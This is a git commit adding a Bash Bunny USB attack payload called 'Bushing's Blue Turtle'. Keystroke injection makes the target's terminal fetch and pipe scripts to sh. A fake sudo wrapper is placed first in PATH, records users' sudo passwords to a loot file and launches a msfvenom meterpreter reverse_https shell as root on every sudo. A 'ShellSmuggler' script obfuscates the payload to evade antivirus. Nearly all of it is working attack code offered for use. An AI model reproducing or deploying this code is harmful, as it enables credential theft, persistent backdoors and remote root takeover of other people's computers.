Added "Bushings blue turtle" payload (#263)

This commit is contained in:
Michael Weinstein 2017-11-21 14:54:02 -08:00 committed by Sebastian Kinne
parent e0abae7179
commit 00cee07ec0
7 changed files with 439 additions and 0 deletions

View File

@ -0,0 +1,200 @@
#!/usr/bin/env python
realSudo = "/usr/bin/sudo" #"REAL_SUDO_HERE"
pythonInterpreter = "PYTHON_EXECUTABLE_GOES_HERE"
def cantLoadModuleError():
import sys
if sys.version_info.major < 3:
return ImportError
if sys.version_info.minor < 6:
return ImportError
else:
return ModuleNotFoundError
def getLootFileName():
import os
thisFullPath = os.path.abspath(__file__)
thisDirectory = os.path.split(thisFullPath)[0]
lootFile = thisDirectory + os.sep + "sudo.conf"
return os.path.join(lootFile)
def initializeThisScript():
'''This function will be run the first time by the bunny'''
import subprocess
import re
pathFinder = subprocess.Popen("which python".split(), stdout = subprocess.PIPE)
pythonExecutable = pathFinder.stdout.read().strip()
pathFinder = subprocess.Popen("which sudo".split(), stdout = subprocess.PIPE)
sudoExecutable = pathFinder.stdout.read().strip()
try:
import json
except cantLoadModuleError():
try:
jsonInstaller = subprocess.Popen("pip install --user json".split(), stdout = subprocess.PIPE, stderr = subprocess.PIPE)
jsonInstaller = subprocess.Popen("pip3 install --user json".split(), stdout = subprocess.PIPE, stderr = subprocess.PIPE)
except:
pass
try:
import getpass
except:
try:
getPassInstaller = subprocess.Popen("pip install --user getpass".split(), stdout = subprocess.PIPE, stderr = subprocess.PIPE)
except:
pass
thisFileName = __file__
thisFile = open(thisFileName, 'r')
originalCode = thisFile.read()
thisFile.close()
newCode = re.sub("PYTHON_EXECUTABLE_GOES_HERE", pythonExecutable, originalCode, 1)
newCode = re.sub("REAL_SUDO_HERE", sudoExecutable, newCode, 1)
thisFile = open(thisFileName, 'w')
thisFile.write(newCode)
thisFile.close()
createLootFile(getLootFileName())
silencePayloadFile()
quit()
def createLootFile(lootFileName):
import json
initialData = {}
lootFile = open(lootFileName, 'w')
json.dump(initialData, lootFile)
lootFile.close()
def validSudoPassword(password):
import subprocess
command = [realSudo, "-S", "-b", "echo", "Echo this"]
wrapper = subprocess.Popen(command, stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE)
wrapper.communicate(password + "\n")
#wrapper.terminate()
return not wrapper.returncode
def getPayloadFile():
import os
programDirectory = os.path.split(__file__)[0]
return programDirectory + os.sep + ".sudo"
def silencePayloadFile(): #if there is an error making our reverse https, such as a bad network connection, this will make it fail without any output
import os
payloadFileName = getPayloadFile()
if os.path.isfile(payloadFileName):
payloadFile = open(payloadFileName, 'r')
payload = payloadFile.read()
payloadFile.close()
payload = "try:\n\t" + payload + "\nexcept:\n\tpass"
payloadFile = open(payloadFileName, 'w')
payloadFile.write(payload)
payloadFile.close()
def blueTurtleShell(password): #we are going to give it a password here. It won't cause a problem if it is not needed, and it might be needed if the user was doing some long process for the sudo.
import subprocess
import os
payloadFile = getPayloadFile()
if not os.path.isfile(payloadFile):
return False
command = " ".join([realSudo, "-S", "-b", pythonInterpreter, payloadFile])
hackTheGibson = subprocess.Popen(command, stdin = subprocess.PIPE, shell = True)
hackTheGibson.communicate(password + "\n")
def runIntendedSudoCommand(): #we won't need a password here, since we just got a good sudo when we verified their password
import sys
import os
args = sys.argv[1:]
for index, arg in enumerate(args):
if arg == "sudo":
args[index] = realSudo
command = " ".join([realSudo, "-S"] + args)
os.system(command) #not using subprocess. Usually the ability to mess with stdin/out/err is useful, but it just gets in the way of delivering the true user experience here. Especially if they use something interactive like vim.
def getSudoPassword(allowedAttempts = 3):
import getpass
user = getpass.getuser()
if validSudoPassword(""): #this avoids having the program ask for a password if a valid one was just entered (normal sudo behavior). Also avoids creating a bunch of reverse shells if the user is repeatedly using sudo (that could create some noise on both ends)
return (user, "", False)
prompt = "[sudo] password for %s: " %user
fail = "Sorry, try again."
epicFail = "sudo: %s incorrect password attempts" %allowedAttempts
success = False
for i in range(allowedAttempts):
password = getpass.getpass(prompt)
if validSudoPassword(password):
success = True
break
else:
if not i == allowedAttempts - 1:
print(fail)
if not success:
import sys
print(epicFail)
sys.stdout = open("/dev/null", 'w') #sometimes this generates stray outputs if there are three failed attempts. Sending them to limbo.
sys.stderr = open("/dev/null", 'w')
sys.stdout.flush()
sys.stderr.flush()
quit()
return (user, password, True)
def loadLootFile(lootFileName):
import json
try:
file = open(lootFileName, 'r')
data = json.load(file)
file.close()
return data
except:
return False
def saveLootFile(loot, lootFileName):
import json
try:
file = open(lootFileName, 'w')
json.dump(loot, file)
file.close()
except:
pass
def parseArguments():
import sys
argList = sys.argv
if "--initializeScript" in sys.argv:
initializeThisScript()
else:
return argList
def prewrap():
parseArguments()
lootFile = getLootFileName()
loot = loadLootFile(lootFile)
try:
user, password, passwordNeeded = getSudoPassword()
except:
user = None
password = None
passwordNeeded = True
if passwordNeeded and user:
loot[user] = password
if loot:
saveLootFile(loot, lootFile)
return (user, password, passwordNeeded, loot)
def postwrap(user, password, loot):
if not passwordNeeded:
if user:
try:
password = loot[user]
except:
password = ""
blueTurtleShell(password)
if __name__ == '__main__':
parseArguments()
try:
user, password, passwordNeeded, loot = prewrap()
except:
pass
runIntendedSudoCommand()
try:
postwrap(user, password, loot)
except:
pass

View File

@ -0,0 +1,115 @@
#!/bin/bash
# Title: Bushing's Blue Turtle
# Author: Michael Weinstein
# Target: Mac/Linux
# Version: 0.1
#
# Create a wrapper for sudo sessions that
# will live inside ~/.config/sudo and be added
# to the $PATH. After completing the sudo task
# for the user, it will attempt an encrypted reverse
# meterpreter session. The msfvenom payload
# should be in this same directory as shell.py
# Run the following command to generate a payload,
# remember to input the appropriate IP and port
# msfvenom -p python/meterpreter/reverse_https LHOST=<IP ADDRESS> LPORT=<PORT> -f raw > payload.py
#
# This payload was inspired greatly by SudoBackdoor
# and much of the code here was derived (or copied
# wholesale) from that with great thanks to oXis.
#
# This one's for Bushing. Probably should have written it in Perl.
#
# White | Ready
# Amber blinking | Waiting for server
# Blue blinking | Attacking
# Green | Finished
LED SETUP
#setup the attack on macos (if false, attack is for Linux)
mac=false
if [ "$mac" = true ]
then
ATTACKMODE ECM_ETHERNET HID VID_0X05AC PID_0X021E
else
ATTACKMODE ECM_ETHERNET HID
fi
DUCKY_LANG us
GET SWITCH_POSITION
GET HOST_IP
cd /root/udisk/payloads/$SWITCH_POSITION/
# starting server
LED SPECIAL
iptables -A OUTPUT -p udp --dport 53 -j DROP
python -m SimpleHTTPServer 80 &
# wait until port is listening (credit audibleblink)
while ! nc -z localhost 80; do sleep 0.2; done
# that was brilliant!
LED ATTACK
if [ "$mac" = true ]
then
RUN OSX terminal
else
RUN UNITY xterm
fi
QUACK DELAY 2000
if [ "$mac" = true ]
then
QUACK STRING curl "http://$HOST_IP/pre.sh" \| sh
QUACK ENTER
QUACK DELAY 200
QUACK STRING curl "http://$HOST_IP/blueTurtle.py" \> "~/.config/sudo/sudo"
QUACK ENTER
QUACK DELAY 200
QUACK STRING curl "http://$HOST_IP/shell.py" \> "~/.config/sudo/.sudo"
QUACK ENTER
QUACK DELAY 200
QUACK STRING curl "http://$HOST_IP/post.sh" \| sh
QUACK ENTER
QUACK DELAY 200
QUACK STRING python "~/.config/sudo/sudo" --initializeScript
QUACK ENTER
QUACK DELAY 200
else
QUACK STRING wget -O - "http://$HOST_IP/pre.sh" \| sh #I think wget defaults to outputting to a file and needs explicit instructions to output to STDOUT
QUACK DELAY 200
QUACK ENTER
QUACK STRING wget -O - "http://$HOST_IP/blueTurtle.py" \> "~/.config/sudo/sudo" #Will test this on a mac when I finish up
QUACK DELAY 200
QUACK ENTER
QUACK STRING wget -O - "http://$HOST_IP/shell.py" \> "~/.config/sudo/.sudo" #Will test this on a mac when I finish up
QUACK DELAY 200
QUACK ENTER
QUACK STRING wget -O - "http://$HOST_IP/post.sh" \| sh
QUACK DELAY 200
QUACK ENTER
QUACK STRING python "~/.config/sudo/sudo" --initializeScript
QUACK DELAY 200
QUACK ENTER
fi
QUACK DELAY 200
QUACK ENTER
QUACK DELAY 200
if [ "$mac" = true ]
then
QUACK DELAY 5000 #seems like macs need some extra time on this
QUACK GUI w
else
QUACK STRING exit
QUACK DELAY 200
QUACK ENTER
fi
LED SUCCESS

View File

@ -0,0 +1,13 @@
#!/bin/bash
chmod u+x ~/.config/sudo/sudo
if [ -f ~/.bash_profile ]
then
echo "export PATH=~/.config/sudo:$PATH" >> ~/.bash_profile
elif if [ "$(uname -s)" == "Darwin" ]
then
echo "export PATH=~/.config/sudo:$PATH" >> ~/.bash_profile
else
echo "export PATH=~/.config/sudo:$PATH" >> ~/.bashrc
fi

View File

@ -0,0 +1,11 @@
#!/bin/bash
if [ ! -d ~/.config/sudo ]
then
mkdir -p ~/.config/sudo
fi
if [ -f ~/.config/ssh/sudo ]
then
rm ~/.config/ssh/sudo
fi

View File

@ -0,0 +1,44 @@
# Bushing's Blue Turtle: The sudo subverter
* Author: Michael Weinstein (@bionomicon)
* Version: 0.1
* Target: Mac/Linux
Mad credit to oXis for their attack approach. Much of the code here was developed using SudoBackdoor as a reference.
Current dev status: I have tested this on a linux box and been able to pwn it repeatedly. Everytime getting a root reverse shell.
## Description
Injector: Creates a folder called ~/.config/sudo where it puts a python wrapper for sudo and a meterpreter payload. Next, it copies over the python sudo wrapper and meterpreter payload. It then runs the initialization function in the wrapper script to set some environmental values like the actual path for sudo and the path for python. The initialization function also initializes a file for saving sudo creds and slightly alters the meterpreter payload so it will fail silently if there is a bad network connection or other exception. Finally, it will set a new value in the user's PATH so that they will be running this wrapper instead of actually doing sudo. The main abnormality a user should see is a slight delay in being asked to enter their password. After this wrapper runs the desired sudo command, it will use the captured password (although probably not absolutely necessary at this stage) to have sudo run the meterpreter payload. That should open up a meterpreter session on the listening computer with root on the target. True pwnage. Every time they sudo something.
Cleaner: I will probably make a cleaner for this thing eventually for completeness sake... but really, why make a cleaner when this thing should give you multiple remote root shells?
## Configuration
Inside the injector and the cleaner you can specify mac=true to switch the playload to macos mode. This payload has been tested on mac and linux. Works on both mac and linux. Mac was running sophos antivirus during the test and it blocked download of the reverse tcp shell. This can be fixed with the use of my shell smuggler (see below for details).
##Crafting a meterpreter shell payload
Payloads should be crafted in msfvenom. The meterpreter shell will be the python reverse https meterpreter payload. The payload should be stored in the folder with the rest of the files for this bash bunny payload in a file called shell.py (stored on the target system as .sudo in the directory we created). The command for generating an appropriate meterpreter shell payload is below:
```msfvenom -p python/meterpreter/reverse_https LHOST=<IP ADDRESS> LPORT=<PORT> -f raw > payload.py```
Note that *antivirus appears to pick up this reverse tcp payload* really well. Annoying. shellSmuggler.py to the rescue! The best way to run this is to cd into the bashbunny itself and then into the payloads switch folder you are running from and run the following command (plugging in your IP address and port):
```msfvenom -p python/meterpreter/reverse_https LHOST=<IP ADDRESS> LPORT=<PORT> -f raw | python ShellSmuggler.py > shell.py```
## STATUS (Note that I used the same configuration as SudoBackdoor, but I am seeing different LED behaviors. Will investigate this soon.)
Injector
| LED | Status |
| ---------------- | -------------------- |
| White | Ready |
| Amber blinking | Waiting for server |
| Blue blinking | Attacking |
| Green | Finished |
Cleaner (when it is made)
| LED | Status |
| ---------------- | -------------------- |
| White | Ready |
| Blue blinking | Attacking |
| Green | Finished |

View File

@ -0,0 +1 @@
YOUR MSFVENOM REVERSE PYTHON SHELL HERE (check out the readme.md file for more instructions)

View File

@ -0,0 +1,55 @@
#!/usr/bin/env python3
def grabEncoded(payload):
import re
regex = re.compile("sys\.version_info\[0\]\]\((\'.+\')\)")
finder = re.search(regex, payload)
encodedAttack = finder.group(1)
payload = payload.replace(encodedAttack, "encodedAttack")
return (encodedAttack, payload)
def getPayloadFromSTDIN():
import sys
payload = sys.stdin.read()
return payload
def getPayloadFromFile(fileName):
file = open(fileName, 'r')
payload = file.read()
file.close()
return payload
def breakEncoded(encodedAttack):
encoded1 = encodedAttack[::2]
encoded2 = encodedAttack[1::2]
return (encoded1, encoded2)
def makePrepend(encoded1, encoded2):
rejoiner = "encodedAttack=''.join([''.join(item) for item in zip('%s','%s')]);" %(encoded1, encoded2)
return rejoiner
def checkForInputFile():
import sys
args = sys.argv
if len(args) > 2:
raise RuntimeError("Only valid argument is a filename")
if len(args) == 2:
return args[1]
else:
return False
fileName = checkForInputFile()
if fileName:
payload = getPayloadFromFile(fileName)
else:
payload = getPayloadFromSTDIN()
if not payload:
raise RuntimeError("No payload was given")
encodedAttack, payload = grabEncoded(payload)
encodedAttack = encodedAttack.strip("'")
encoded1, encoded2 = breakEncoded(encodedAttack)
prepend = makePrepend(encoded1, encoded2)
hiddenShell = prepend + payload
import sys
sys.stdout.write(hiddenShell)